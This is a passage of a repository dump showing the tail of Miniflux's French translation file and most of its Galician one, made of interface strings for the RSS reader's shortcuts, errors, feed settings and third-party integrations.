\"page.keyboard_shortcuts.open_item\": \"Ouvrir élément sélectionné\",\n    \"page.keyboard_shortcuts.open_original\": \"Ouvrir le lien original\",\n    \"page.keyboard_shortcuts.open_original_same_window\": \"Ouvrir le lien original dans l'onglet en cours\",\n    \"page.keyboard_shortcuts.refresh_all_feeds\": \"Actualiser les abonnements en arrière-plan\",\n    \"page.keyboard_shortcuts.remove_feed\": \"Supprimer ce flux\",\n    \"page.keyboard_shortcuts.save_article\": \"Sauvegarder l'article\",\n    \"page.keyboard_shortcuts.scroll_item_to_top\": \"Faire défiler l'élément vers le haut\",\n    \"page.keyboard_shortcuts.show_keyboard_shortcuts\": \"Voir les raccourcis clavier\",\n    \"page.keyboard_shortcuts.subtitle.actions\": \"Actions\",\n    \"page.keyboard_shortcuts.subtitle.items\": \"Navigation entre les éléments\",\n    \"page.keyboard_shortcuts.subtitle.pages\": \"Navigation entre les pages\",\n    \"page.keyboard_shortcuts.subtitle.sections\": \"Navigation entre les sections\",\n    \"page.keyboard_shortcuts.title\": \"Raccourcis clavier\",\n    \"page.keyboard_shortcuts.toggle_star_status\": \"Ajouter/Enlever favoris\",\n    \"page.keyboard_shortcuts.toggle_entry_attachments\": \"Ouvrir/Fermer les pièces jointes de l'entrée\",\n    \"page.keyboard_shortcuts.toggle_read_status_next\": \"Basculer entre lu/non lu, et changer le focus sur l'élément suivant\",\n    \"page.keyboard_shortcuts.toggle_read_status_prev\": \"Basculer entre lu/non lu, et changer le focus sur l'élément précédent\",\n    \"page.login.google_signin\": \"Se connecter avec Google\",\n    \"page.login.oidc_signin\": \"Se connecter avec %s\",\n    \"page.login.title\": \"Connexion\",\n    \"page.login.webauthn_login\": \"Se connecter avec une clé d’accès\",\n    \"page.login.webauthn_login.error\": \"Impossible de se connecter avec la clé d’accès\",\n    \"page.login.webauthn_login.help\": \"Veuillez saisir votre nom d'utilisateur si vous utilisez une clé de sécurité. Cela n'est pas nécessaire si vous utilisez une clé d'accès (Passkey).\",\n    \"page.new_api_key.title\": \"Nouvelle clé d'API\",\n    \"page.new_category.title\": \"Nouvelle catégorie\",\n    \"page.new_user.title\": \"Nouvel Utilisateur\",\n    \"page.offline.message\": \"Vous n'êtes pas connecté\",\n    \"page.offline.refresh_page\": \"Essayez de rafraîchir la page\",\n    \"page.offline.title\": \"Mode Hors-Ligne\",\n    \"page.read_entry_count\": [\n        \"%d entrée lue\",\n        \"%d entrées lues\"\n    ],\n    \"page.search.title\": \"Résultats de la recherche\",\n    \"page.sessions.table.actions\": \"Actions\",\n    \"page.sessions.table.current_session\": \"Session actuelle\",\n    \"page.sessions.table.date\": \"Date\",\n    \"page.sessions.table.ip\": \"Adresse IP\",\n    \"page.sessions.table.user_agent\": \"Navigateur Web\",\n    \"page.sessions.title\": \"Sessions\",\n    \"page.settings.link_google_account\": \"Associer mon compte Google\",\n    \"page.settings.link_oidc_account\": \"Associer mon compte %s\",\n    \"page.settings.title\": \"Réglages\",\n    \"page.settings.unlink_google_account\": \"Dissocier mon compte Google\",\n    \"page.settings.unlink_oidc_account\": \"Dissocier mon compte %s\",\n    \"page.settings.webauthn.actions\": \"Actions\",\n    \"page.settings.webauthn.added_on\": \"Date de création\",\n    \"page.settings.webauthn.delete\": [\n        \"Supprimer %d clé d’accès\",\n        \"Supprimer %d clés d’accès\"\n    ],\n    \"page.settings.webauthn.last_seen_on\": \"Dernière utilisation\",\n    \"page.settings.webauthn.passkey_name\": \"Nom de la clé d’accès\",\n    \"page.settings.webauthn.passkeys\": \"Clés d’accès\",\n    \"page.settings.webauthn.register\": \"Enregistrer une nouvelle clé d’accès\",\n    \"page.settings.webauthn.register.error\": \"Impossible d'enregistrer la clé d’accès\",\n    \"page.shared_entries.title\": \"Articles partagés\",\n    \"page.shared_entries_count\": [\n        \"%d article partagé\",\n        \"%d articles partagés\"\n    ],\n    \"page.starred.title\": \"Favoris\",\n    \"page.starred_entry_count\": [\n        \"%d favori\",\n        \"%d favoris\"\n    ],\n    \"page.total_entry_count\": [\n        \"%d article au total\",\n        \"%d articles au total\"\n    ],\n    \"page.unread.title\": \"Non lus\",\n    \"page.unread_entry_count\": [\n        \"%d article non lu\",\n        \"%d articles non lus\"\n    ],\n    \"page.users.actions\": \"Actions\",\n    \"page.users.admin.no\": \"Non\",\n    \"page.users.admin.yes\": \"Oui\",\n    \"page.users.is_admin\": \"Administrateur\",\n    \"page.users.last_login\": \"Dernière connexion\",\n    \"page.users.never_logged\": \"Jamais\",\n    \"page.users.title\": \"Utilisateurs\",\n    \"page.users.username\": \"Nom d'utilisateur\",\n    \"page.webauthn_rename.title\": \"Renommer la clé d'accès\",\n    \"pagination.first\": \"Première page\",\n    \"pagination.last\": \"Dernière page\",\n    \"pagination.next\": \"Suivant\",\n    \"pagination.previous\": \"Précédent\",\n    \"search.label\": \"Recherche\",\n    \"search.placeholder\": \"Recherche...\",\n    \"search.submit\": \"Rechercher\",\n    \"skip_to_content\": \"Aller au contenu\",\n    \"time_elapsed.days\": [\n        \"il y a %d jour\",\n        \"il y a %d jours\"\n    ],\n    \"time_elapsed.hours\": [\n        \"il y a %d heure\",\n        \"il y a %d heures\"\n    ],\n    \"time_elapsed.minutes\": [\n        \"il y a %d minute\",\n        \"il y a %d minutes\"\n    ],\n    \"time_elapsed.months\": [\n        \"il y a %d mois\",\n        \"il y a %d mois\"\n    ],\n    \"time_elapsed.not_yet\": \"pas encore\",\n    \"time_elapsed.now\": \"à l'instant\",\n    \"time_elapsed.weeks\": [\n        \"il y a %d semaine\",\n        \"il y a %d semaines\"\n    ],\n    \"time_elapsed.years\": [\n        \"il y a %d an\",\n        \"il y a %d ans\"\n    ],\n    \"time_elapsed.yesterday\": \"hier\",\n    \"tooltip.keyboard_shortcuts\": \"Raccourci clavier : %s\",\n    \"tooltip.logged_user\": \"Connecté en tant que %s\"\n}\n"
  },
  {
    "path": "internal/locale/translations/gl_ES.json",
    "content": "{\n    \"action.cancel\": \"cancelar\",\n    \"action.download\": \"Descargar\",\n    \"action.edit\": \"Editar\",\n    \"action.home_screen\": \"Engadir á pantalla de inicio\",\n    \"action.import\": \"Importar\",\n    \"action.login\": \"Acceso\",\n    \"action.or\": \"ou\",\n    \"action.remove\": \"Retirar\",\n    \"action.remove_feed\": \"Retirar esta canle\",\n    \"action.save\": \"Gardar\",\n    \"action.subscribe\": \"Dar de baixa\",\n    \"action.update\": \"Actualizar\",\n    \"alert.account_linked\": \"Conectouse a túa conta externa!\",\n    \"alert.account_unlinked\": \"Desconectouse a túa conta externa!\",\n    \"alert.background_feed_refresh\": \"Estanse actualizando en segundo plano todas as canles. Podes continuar usando Miniflux mentras se realiza a actualización.\",\n    \"alert.feed_error\": \"Hai un problema con esta canle.\",\n    \"alert.no_starred\": \"Non hai artigos con estrela.\",\n    \"alert.no_category\": \"Non hai categorías.\",\n    \"alert.no_category_entry\": \"Non hai artigos nesta categoría.\",\n    \"alert.no_feed\": \"Non engadiches ningunha canle.\",\n    \"alert.no_feed_entry\": \"Non hai artigos para esta canle.\",\n    \"alert.no_feed_in_category\": \"Non hai canles nesta categoría.\",\n    \"alert.no_history\": \"Por agora non hai historial.\",\n    \"alert.no_search_result\": \"Non hai resultados para esta busca.\",\n    \"alert.no_shared_entry\": \"Non hai artigos compartidos.\",\n    \"alert.no_tag_entry\": \"Non hai artigos con esta etiqueta.\",\n    \"alert.no_unread_entry\": \"Non hai artigos sen ler.\",\n    \"alert.no_user\": \"Es a única conta usuaria.\",\n    \"alert.prefs_saved\": \"Gardáronse as preferencias!\",\n    \"alert.too_many_feeds_refresh\": [\n        \"Intentaches demasiadas actualizacións da canle. Agarda %d minuto antes de volver intentalo.\",\n        \"Intentaches demasiadas actualizacións da canle. Agarda %d minutos antes de volver intentalo.\"\n    ],\n    \"confirm.loading\": \"En proceso…\",\n    \"confirm.no\": \"non\",\n    \"confirm.question\": \"Tes certeza?\",\n    \"confirm.question.refresh\": \"Tes certeza de querer forzar a actualización?\",\n    \"confirm.yes\": \"si\",\n    \"enclosure_media_controls.seek\": \"Avanzar:\",\n    \"enclosure_media_controls.seek.title\": \"Avanzar %s segundos\",\n    \"enclosure_media_controls.speed\": \"Velocidade:\",\n    \"enclosure_media_controls.speed.faster\": \"Máis rápido\",\n    \"enclosure_media_controls.speed.faster.title\": \"Máis rápido %sx\",\n    \"enclosure_media_controls.speed.reset\": \"Restablecer\",\n    \"enclosure_media_controls.speed.reset.title\": \"Restablecer velocidade a 1x\",\n    \"enclosure_media_controls.speed.slower\": \"Máis lento\",\n    \"enclosure_media_controls.speed.slower.title\": \"Máis lento %sx\",\n    \"entry.starred.toast.off\": \"Sen estrela\",\n    \"entry.starred.toast.on\": \"Con estrela\",\n    \"entry.starred.toggle.off\": \"Retirar estrela\",\n    \"entry.starred.toggle.on\": \"Pór estrela\",\n    \"entry.comments.label\": \"Comentarios\",\n    \"entry.comments.title\": \"Ver comentarios\",\n    \"entry.estimated_reading_time\": [\n        \"%d minuto de lectura\",\n        \"%d minutos de lectura\"\n    ],\n    \"entry.external_link.label\": \"Ligazón externa\",\n    \"entry.save.completed\": \"Feito!\",\n    \"entry.save.label\": \"Gardar\",\n    \"entry.save.title\": \"Gardar este artigo\",\n    \"entry.save.toast.completed\": \"Gardouse o artigo\",\n    \"entry.scraper.completed\": \"Feito!\",\n    \"entry.scraper.label\": \"Descargar\",\n    \"entry.scraper.title\": \"Obter contido orixinal\",\n    \"entry.share.label\": \"Compartir\",\n    \"entry.share.title\": \"Compartir este artigo\",\n    \"entry.shared_entry.label\": \"Compartir\",\n    \"entry.shared_entry.title\": \"Abrir ligazón pública\",\n    \"entry.state.loading\": \"Cargando…\",\n    \"entry.state.saving\": \"Gardando…\",\n    \"entry.status.mark_as_read\": \"Marcar como lido\",\n    \"entry.status.mark_as_unread\": \"Marcar como non lido\",\n    \"entry.status.title\": \"Cambiar estado do artigo\",\n    \"entry.status.toast.read\": \"Marcado como lido\",\n    \"entry.status.toast.unread\": \"Marcado como non lido\",\n    \"entry.tags.label\": \"Etiquetas:\",\n    \"entry.tags.more_tags_label\": [\n        \"Mostrar %d etiqueta máis\",\n        \"Mostrar %d etiquetas máis\"\n    ],\n    \"entry.unshare.label\": \"Non compartir\",\n    \"error.api_key_already_exists\": \"Xa existe esta clave da API.\",\n    \"error.bad_credentials\": \"Credenciais incorrectas.\",\n    \"error.category_already_exists\": \"Xa existe a categoría.\",\n    \"error.category_not_found\": \"Non existe a categoría ou non pertence a esta usuaria.\",\n    \"error.database_error\": \"Erro na base de datos: %v.\",\n    \"error.different_passwords\": \"Os contrasinais non coinciden.\",\n    \"error.duplicate_fever_username\": \"Xa hai alguén con ese identificador en Fever!\",\n    \"error.duplicate_googlereader_username\": \"Xa hai alguén con ese identificador en Google Reader!\",\n    \"error.linktaco_missing_required_fields\": \"Requírese LinkTaco API Token e Organization Slug\",\n    \"error.duplicate_linked_account\": \"Xa hai alguén asociado con este provedor!\",\n    \"error.duplicated_feed\": \"Xa existe a canle.\",\n    \"error.empty_file\": \"O ficheiro está baleiro.\",\n    \"error.entries_per_page_invalid\": \"O número de artigos por páxina non é válido.\",\n    \"error.feed_already_exists\": \"Xa existe a canle.\",\n    \"error.feed_category_not_found\": \"Non existe a categoría ou non pertence a esta usuaria.\",\n    \"error.feed_format_not_detected\": \"Non se puido detectar o formato da canle: %v.\",\n    \"error.feed_invalid_blocklist_rule\": \"A regra da lista de bloqueo non é válida.\",\n    \"error.feed_invalid_keeplist_rule\": \"A regra da lista a manter non é válida.\",\n    \"error.feed_mandatory_fields\": \"É obrigatorio engadir un URL para a categoría.\",\n    \"error.feed_not_found\": \"A canle non existe ou non pertence a esta usuaria.\",\n    \"error.feed_title_not_empty\": \"O título da canle non pode quedar baleiro.\",\n    \"error.feed_url_not_empty\": \"O URL da canle non pode quedar baleiro.\",\n    \"error.fields_mandatory\": \"Son obrigatorios todos os campos.\",\n    \"error.http_bad_gateway\": \"O sitio web non está dispoñible debido a un erro na pasarela. O problema non está en Miniflux. Por favor, inténtao máis tarde.\",\n    \"error.http_body_read\": \"Non se pode ler o corpo HTTP: %v.\",\n    \"error.http_client_error\": \"Erro HTTP no cliente: %v.\",\n    \"error.http_empty_response\": \"A resposta HTTP está baleira. Podería o sitio web estar usando unha protección contra robots?\",\n    \"error.http_empty_response_body\": \"O corpo da resposta HTTP está baleiro.\",\n    \"error.http_forbidden\": \"Esta prohibido o acceso a esta páxina web. Podería estar usando unha protección contra robots?\",\n    \"error.http_gateway_timeout\": \"O sitio web non está dispoñible debido a un erro de caducidade na pasarela. O problema non está en Miniflux. Volve a intentalo máis tarde.\",\n    \"error.http_internal_server_error\": \"O sitio web non está dispoñible debido a un fallo no servidor. O problema non está en Miniflux. Volve a intentalo máis tarde.\",\n    \"error.http_not_authorized\": \"Non hai autorización para acceder a este sitio web. Podería deberse a unhas credenciais non válidas.\",\n    \"error.http_resource_not_found\": \"Non se atopa o recurso solicitado. Por favor, comproba o URL.\",\n    \"error.http_response_too_large\": \"A resposta HTTP é demasiado grande. Podes aumentar o límite da resposta HTTP nos axustes xerais (require reinicio do servidor).\",\n    \"error.http_service_unavailable\": \"O sitio web non está dispoñible neste momento debido a un erro interno do servidor. O problema non está en Miniflux, inténtao máis tarde.\",\n    \"error.http_too_many_requests\": \"Miniflux xerou demasiadas peticións a este servidor. Inténtao máis tarde ou cambia a configuración da aplicación.\",\n    \"error.http_unexpected_status_code\": \"O sitio web non está dispoñible neste momento debido a un código de estado HTTP non agardado: %d. O problema non está en Miniflux, inténtao máis tarde.\",\n    \"error.invalid_categories_sorting_order\": \"Orde por categorías non válido.\",\n    \"error.invalid_default_home_page\": \"Páxina de inicio predeterminada non válida!\",\n    \"error.invalid_display_mode\": \"Modo para mostrar a aplicación web non válido.\",\n    \"error.invalid_entry_direction\": \"Dirección da entrada non válida.\",\n    \"error.invalid_entry_order\": \"Orde da entrada non válida.\",\n    \"error.invalid_feed_proxy_url\": \"URL do mandatario non válido.\",\n    \"error.invalid_feed_url\": \"URL da canle non válido.\",\n    \"error.invalid_gesture_nav\": \"Xesto de navegación non válido.\",\n    \"error.invalid_language\": \"Idioma non válido.\",\n    \"error.invalid_site_url\": \"URL da web non válido.\",\n    \"error.invalid_theme\": \"Decorado non válido.\",\n    \"error.invalid_timezone\": \"Zona horaria non válida.\",\n    \"error.network_operation\": \"Miniflux non pode acadar esta web por mor dun erro na rede: %v.\",\n    \"error.network_timeout\": \"Esta web é demasiado lenta e caducou a petición: %v\",\n    \"error.password_min_length\": \"O contrasinal ten que ter 6 caracteres polo menos.\",\n    \"error.proxy_url_not_empty\": \"O URL do mandatario non pode quedar baleiro.\",\n    \"error.settings_block_rule_fieldname_invalid\": \"Regra do Bloque non válida: á regra #%d fáltalle un nome de campo válido (Opcións: %s)\",\n    \"error.settings_block_rule_invalid_regex\": \"Regra do Bloque non válida: o patrón da regra #%d non é unha expresión regex válida\",\n    \"error.settings_block_rule_regex_required\": \"Regra do Bloque non válida: non se proporcionou o patrón da regra #%d\",\n    \"error.settings_block_rule_separator_required\": \"Regra do Bloque non válida:: o patrón da regra #%d require estar separado por un '='\",\n    \"error.settings_invalid_domain_list\": \"Lista de dominios non válida. Proporciona unha lista de dominios separados por espazos.\",\n    \"error.settings_keep_rule_fieldname_invalid\": \"Regra para Manter non válida: a regra #%d non ten un nome de campo válido (Opcións: %s)\",\n    \"error.settings_keep_rule_invalid_regex\": \"Regra para Manter non válida: o patrón da regra #%d non é unha expresión regex válida\",\n    \"error.settings_keep_rule_regex_required\": \"Regra para Manter non válida: non se proporcionou o patrón para #%d\",\n    \"error.settings_keep_rule_separator_required\": \"Regra para Manter non válida: o patrón da regra #%d ten que estar separado por un '='\",\n    \"error.settings_mandatory_fields\": \"O identificador, decorado, idioma e zona horaria son campos obrigatorios.\",\n    \"error.settings_media_playback_rate_range\": \"A velocidade de reprodución está fóra do rango admitido\",\n    \"error.settings_reading_speed_is_positive\": \"A velocidade de lectura ten que ser un número enteiro positivo.\",\n    \"error.site_url_not_empty\": \"O URL da web non pode estar baleiro.\",\n    \"error.subscription_not_found\": \"Non se atopou ningunha canle.\",\n    \"error.title_required\": \"O título é obrigatorio.\",\n    \"error.tls_error\": \"Erro TLS: %q. Podes desactivar a verificación TLS nos axustes da canle se queres.\",\n    \"error.unable_to_create_api_key\": \"Non se puido crear a clave da API.\",\n    \"error.unable_to_create_category\": \"Non se puido crear a categoría.\",\n    \"error.unable_to_create_user\": \"Non se puido crear a conta.\",\n    \"error.unable_to_detect_rssbridge\": \"Non se detectou a canle a usar RSS-Bridge: %v.\",\n    \"error.unable_to_parse_feed\": \"Non se puido procesar a canle: %v.\",\n    \"error.unable_to_update_category\": \"Non se puido actualizar a categoría.\",\n    \"error.unable_to_update_feed\": \"Non se puido actualizar a canle.\",\n    \"error.unable_to_update_user\": \"Non se puido actualizar a usuaria.\",\n    \"error.unlink_account_without_password\": \"Tes que crear un contrasinal, se non non poderás volver acceder.\",\n    \"error.user_already_exists\": \"Xa existe esta usuaria.\",\n    \"error.user_mandatory_fields\": \"O identificador é obrigatorio.\",\n    \"form.api_key.label.description\": \"Etiqueta da Clave da API\",\n    \"form.category.hide_globally\": \"Ocultar entradas na lista global de non lidos\",\n    \"form.category.label.title\": \"Título\",\n    \"form.feed.fieldset.general\": \"Xeral\",\n    \"form.feed.fieldset.integration\": \"Servizos de Terceiras Partes\",\n    \"form.feed.fieldset.network_settings\": \"Axustes da rede\",\n    \"form.feed.fieldset.rules\": \"Regras\",\n    \"form.feed.label.allow_self_signed_certificates\": \"Permitir certificados auto-asinados ou non válidos\",\n    \"form.feed.label.apprise_service_urls\": \"Lista separada por comas de URLs do servizo Apprise\",\n    \"form.feed.label.block_filter_entry_rules\": \"Regras de Bloqueo de entradas\",\n    \"form.feed.label.blocklist_rules\": \"Filtros de bloqueo baseados en RegEx\",\n    \"form.feed.label.category\": \"Categoría\",\n    \"form.feed.label.cookie\": \"Establecer rastros\",\n    \"form.feed.label.crawler\": \"Obter contido orixinal\",\n    \"form.feed.label.description\": \"Descrición\",\n    \"form.feed.label.disable_http2\": \"Desactivar HTTP/2 para evitar «fingerprinting»\",\n    \"form.feed.label.disabled\": \"Non actualizar esta canle\",\n    \"form.feed.label.feed_password\": \"Contrasinal para a canle\",\n    \"form.feed.label.feed_url\": \"URL da canle\",\n    \"form.feed.label.feed_username\": \"Identificador para a canle\",\n    \"form.feed.label.fetch_via_proxy\": \"Usar o mandatario configurado a nivel da aplicación\",\n    \"form.feed.label.hide_globally\": \"Ocultar entradas na lista global de non lidos\",\n    \"form.feed.label.ignore_entry_updates\": \"Ignorar actualizacións da entrada\",\n    \"form.feed.label.ignore_http_cache\": \"Ignorar memoria tobo HTTP\",\n    \"form.feed.label.keep_filter_entry_rules\": \"Regra para Entradas permitidas\",\n    \"form.feed.label.keeplist_rules\": \"Filtros para Manter baseados en RegEx\",\n    \"form.feed.label.no_media_player\": \"Sen reprodutor (son/vídeo)\",\n    \"form.feed.label.ntfy_activate\": \"Enviar novidades a Ntfy\",\n    \"form.feed.label.ntfy_default_priority\": \"Prioridade predeterminada Ntfy\",\n    \"form.feed.label.ntfy_high_priority\": \"Alta prioridade Ntfy\",\n    \"form.feed.label.ntfy_low_priority\": \"Baix prioridade Ntfy\",\n    \"form.feed.label.ntfy_max_priority\": \"Prioridade máx. Ntfy\",\n    \"form.feed.label.ntfy_min_priority\": \"Prioridade mín. Ntfy\",\n    \"form.feed.label.ntfy_priority\": \"Prioridade en Ntfy\",\n    \"form.feed.label.ntfy_topic\": \"Tema en Ntfy (optativo)\",\n    \"form.feed.label.proxy_url\": \"URL do mandatario\",\n    \"form.feed.label.pushover_activate\": \"Enviar novidades a Pushover\",\n    \"form.feed.label.pushover_default_priority\": \"Prioridade predeterminada\",\n    \"form.feed.label.pushover_high_priority\": \"Alta prioridade\",\n    \"form.feed.label.pushover_low_priority\": \"Baixa prioridade\",\n    \"form.feed.label.pushover_max_priority\": \"Prioridade máx.\",\n    \"form.feed.label.pushover_min_priority\": \"Prioridade mín.\",\n    \"form.feed.label.pushover_priority\": \"Prioridade da mensaxe Pushover\",\n    \"form.feed.label.rewrite_rules\": \"Regras de Reescritura do contido\",\n    \"form.feed.label.scraper_rules\": \"Regras ao obter contido\",\n    \"form.feed.label.site_url\": \"URL do sitio\",\n    \"form.feed.label.title\": \"Título\",\n    \"form.feed.label.urlrewrite_rules\": \"Regras de rescritura URL\",\n    \"form.feed.label.user_agent\": \"Sobrescribir User Agent predeterminado\",\n    \"form.feed.label.webhook_url\": \"Override webhook url\",\n    \"form.import.label.file\": \"Ficheiro OPML\",\n    \"form.import.label.url\": \"URL\",\n    \"form.integration.archiveorg_activate\": \"Enviar entradas a archive.org\",\n    \"form.integration.apprise_activate\": \"Enviar entradas a Apprise\",\n    \"form.integration.apprise_services_url\": \"Lista separada por comas de URLs do servizo Apprise\",\n    \"form.integration.apprise_url\": \"URL de Apprise API\",\n    \"form.integration.betula_activate\": \"Gardar entradas en Betula\",\n    \"form.integration.betula_token\": \"Token de Betula\",\n    \"form.integration.betula_url\": \"URL do servidor Betula\",\n    \"form.integration.cubox_activate\": \"Gardar entradas en Cubox\",\n    \"form.integration.cubox_api_link\": \"Ligazón a Cubox API\",\n    \"form.integration.discord_activate\": \"Enviar entradas a Discord\",\n    \"form.integration.discord_webhook_link\": \"Ligazón a Discord Webhook\",\n    \"form.integration.espial_activate\": \"Enviar entradas a Espial\",\n    \"form.integration.espial_api_key\": \"Clave de Espial API\",\n    \"form.integration.espial_endpoint\": \"Acceso na Espial API\",\n    \"form.integration.espial_tags\": \"Etiquetas Espial\",\n    \"form.integration.fever_activate\": \"Activar Fever API\",\n    \"form.integration.fever_endpoint\": \"Punto de acceso da Fever API:\",\n    \"form.integration.fever_password\": \"Contrasinal Fever\",\n    \"form.integration.fever_username\": \"Identificador Fever\",\n    \"form.integration.googlereader_activate\": \"Activar API Google Reader\",\n    \"form.integration.googlereader_endpoint\": \"Punto de acceso de Google Reader API:\",\n    \"form.integration.googlereader_password\": \"Contrasinal Google Reader\",\n    \"form.integration.googlereader_username\": \"Identificador Google Reader\",\n    \"form.integration.instapaper_activate\": \"Gardar entradas en Instapaper\",\n    \"form.integration.instapaper_password\": \"Contrasinal Instapaper\",\n    \"form.integration.instapaper_username\": \"Identificador Instapaper\",\n    \"form.integration.karakeep_activate\": \"Gardar entradas en Karakeep\",\n    \"form.integration.karakeep_api_key\": \"Clave de Karakeep API\",\n    \"form.integration.karakeep_url\": \"Punto de acceso da Karakeep API\",\n    \"form.integration.karakeep_tags\": \"Etiquetas Karakeep\",\n    \"form.integration.linkace_activate\": \"Gardar entradas en LinkAce\",\n    \"form.integration.linkace_api_key\": \"Clave de LinkAce API\",\n    \"form.integration.linkace_check_disabled\": \"Desactivar comprobación de ligazóns\",\n    \"form.integration.linkace_endpoint\": \"Punto de acceso da LinkAce API\",\n    \"form.integration.linkace_is_private\": \"Marcar ligazón como privada\",\n    \"form.integration.linkace_tags\": \"Etiquetas LinkAce\",\n    \"form.integration.linkding_activate\": \"Gardar entradas en Linkding\",\n    \"form.integration.linkding_api_key\": \"Clave da Linkding API\",\n    \"form.integration.linkding_bookmark\": \"Marcar marcador como non lido\",\n    \"form.integration.linkding_endpoint\": \"Punto de acceso da Linkding API\",\n    \"form.integration.linkding_tags\": \"Etiquetas Linkding\",\n    \"form.integration.linktaco_activate\": \"Gardar entradas en LinkTaco\",\n    \"form.integration.linktaco_api_token\": \"Token da API de LinkTaco\",\n    \"form.integration.linktaco_api_token_hint\": \"Obtén o token de acceso persoal en\",\n    \"form.integration.linktaco_org_slug\": \"Sobrenome da Organización\",\n    \"form.integration.linktaco_tags\": \"Etiquetas (máx 10, separadas por comas)\",\n    \"form.integration.linktaco_tags_hint\": \"Máximo 10 etiquetas, separadas por comas\",\n    \"form.integration.linktaco_visibility\": \"Visibilidade\",\n    \"form.integration.linktaco_visibility_public\": \"Pública\",\n    \"form.integration.linktaco_visibility_private\": \"Privada\",\n    \"form.integration.linktaco_visibility_hint\": \"A visibilidade privada require unha conta de pago de LinkTaco\",\n    \"form.integration.linkwarden_activate\": \"Gardar entradas en Linkwarden\",\n    \"form.integration.linkwarden_api_key\": \"Clave da Linkwarden API\",\n    \"form.integration.linkwarden_endpoint\": \"URL Base de Linkwarden\",\n    \"form.integration.linkwarden_collection_id\": \"ID da colección Linkwarden\",\n    \"form.integration.matrix_bot_activate\": \"Enviar entradas a Matrix\",\n    \"form.integration.matrix_bot_chat_id\": \"ID da Sala Matrix\",\n    \"form.integration.matrix_bot_password\": \"Contrasinal da usuaria Matrix\",\n    \"form.integration.matrix_bot_url\": \"URL do servidor Matrix\",\n    \"form.integration.matrix_bot_user\": \"Identificador en Matrix\",\n    \"form.integration.notion_activate\": \"Gardar entradas en Notion\",\n    \"form.integration.notion_page_id\": \"ID da páxina Notion\",\n    \"form.integration.notion_token\": \"Token secreto para Notion\",\n    \"form.integration.ntfy_activate\": \"Enviar entradas a ntfy\",\n    \"form.integration.ntfy_api_token\": \"Token da Ntfy API (optativo)\",\n    \"form.integration.ntfy_icon_url\": \"Ntfy Icon URL (optativo)\",\n    \"form.integration.ntfy_internal_links\": \"Usar ligazóns internas ao premer (optativo)\",\n    \"form.integration.ntfy_password\": \"Contrasinal Ntfy (optativo)\",\n    \"form.integration.ntfy_topic\": \"Tema en Ntfy (úsase por defecto se non o establece a canle)\",\n    \"form.integration.ntfy_url\": \"Ntfy URL (optativo, predeterminado ntfy.sh)\",\n    \"form.integration.ntfy_username\": \"Contrasinal Ntfy (optativo)\",\n    \"form.integration.nunux_keeper_activate\": \"Gardar entradas en Nunux Keeper\",\n    \"form.integration.nunux_keeper_api_key\": \"Clave da Nunux Keeper API\",\n    \"form.integration.nunux_keeper_endpoint\": \"Punto de acceso Nunux Keeper API\",\n    \"form.integration.omnivore_activate\": \"Gardar entradas en Omnivore\",\n    \"form.integration.omnivore_api_key\": \"Clave da Omnivore API\",\n    \"form.integration.omnivore_url\": \"Punto de acceso de Omnivore API\",\n    \"form.integration.pinboard_activate\": \"Gardar entradas en Pinboard\",\n    \"form.integration.pinboard_bookmark\": \"Marcar marcador como non lido\",\n    \"form.integration.pinboard_tags\": \"Etiquetas Pinboard\",\n    \"form.integration.pinboard_token\": \"Token da Pinboard API\",\n    \"form.integration.pushover_activate\": \"Enviar entradas a Pushover\",\n    \"form.integration.pushover_device\": \"Dispositivo Pushover (optativo)\",\n    \"form.integration.pushover_prefix\": \"Prefixo do URL Pushover (optativo)\",\n    \"form.integration.pushover_token\": \"Token da aplicación na Pushover API\",\n    \"form.integration.pushover_user\": \"Clave da usuaria Pushover\",\n    \"form.integration.raindrop_activate\": \"Gardar entradas en Raindrop\",\n    \"form.integration.raindrop_collection_id\": \"ID da colección\",\n    \"form.integration.raindrop_tags\": \"Etiquetas (separadas por comas)\",\n    \"form.integration.raindrop_token\": \"Token (de proba)\",\n    \"form.integration.readeck_activate\": \"Gardar entradas en Readeck\",\n    \"form.integration.readeck_api_key\": \"Clave da Readeck API\",\n    \"form.integration.readeck_endpoint\": \"URL de Readeck\",\n    \"form.integration.readeck_labels\": \"Etiquetas Readeck\",\n    \"form.integration.readeck_only_url\": \"Enviar só URL (e non todo o contido)\",\n    \"form.integration.readeck_push_activate\": \"Enviar automaticamente todas as entradas a Readeck\",\n    \"form.integration.readwise_activate\": \"Gardar entradas en Readwise Reader\",\n    \"form.integration.readwise_api_key\": \"Token de acceso a Readwise Reader\",\n    \"form.integration.readwise_api_key_link\": \"Obter o token de acceso a Readwise\",\n    \"form.integration.rssbridge_activate\": \"Comprobar RSS-Bridge ao engadir subscricións\",\n    \"form.integration.rssbridge_token\": \"Token de autenticación RSS-Bridge\",\n    \"form.integration.rssbridge_url\": \"URL do servidor RSS-Bridge\",\n    \"form.integration.shaarli_activate\": \"Gardar artigos en Shaarli\",\n    \"form.integration.shaarli_api_secret\": \"Clave secreta da API Shaarli\",\n    \"form.integration.shaarli_endpoint\": \"Punto de acceso Shaarli\",\n    \"form.integration.shiori_activate\": \"Gardar artigos en Shiori\",\n    \"form.integration.shiori_endpoint\": \"Punto de acceso Shiori API\",\n    \"form.integration.shiori_password\": \"Contrasinal Shiori\",\n    \"form.integration.shiori_username\": \"Identificador Shiori\",\n    \"form.integration.slack_activate\": \"Enviar entradas a Slack\",\n    \"form.integration.slack_webhook_link\": \"Ligzón de Slack Webhook\",\n    \"form.integration.telegram_bot_activate\": \"Enviar novas entradas a parola Telegram\",\n    \"form.integration.telegram_bot_disable_buttons\": \"Desactivar botóns\",\n    \"form.integration.telegram_bot_disable_notification\": \"Desactivar notificación\",\n    \"form.integration.telegram_bot_disable_web_page_preview\": \"Disactivar vista previa da páxina\",\n    \"form.integration.telegram_bot_token\": \"Toke do Bot\",\n    \"form.integration.telegram_chat_id\": \"ID da parola\",\n    \"form.integration.telegram_topic_id\": \"ID do tema\",\n    \"form.integration.wallabag_activate\": \"Gardar entradas en Wallabag\",\n    \"form.integration.wallabag_client_id\": \"ID do cliente en Wallabag\",\n    \"form.integration.wallabag_client_secret\": \"Clave Secreta en Wallabag\",\n    \"form.integration.wallabag_endpoint\": \"URL Base de Wallabag\",\n    \"form.integration.wallabag_only_url\": \"Enviar só URL (e non todo o contido)\",\n    \"form.integration.wallabag_password\": \"Contrasinal en Wallabag\",\n    \"form.integration.wallabag_username\": \"Identificador en Wallabag\",\n    \"form.integration.wallabag_tags\": \"Etiquetas Wallabag\",\n    \"form.integration.webhook_activate\": \"Activar Webhooks\",\n    \"form.integration.webhook_secret\": \"Clave secreta Webhooks\",\n    \"form.integration.webhook_url\": \"URL predeterminada 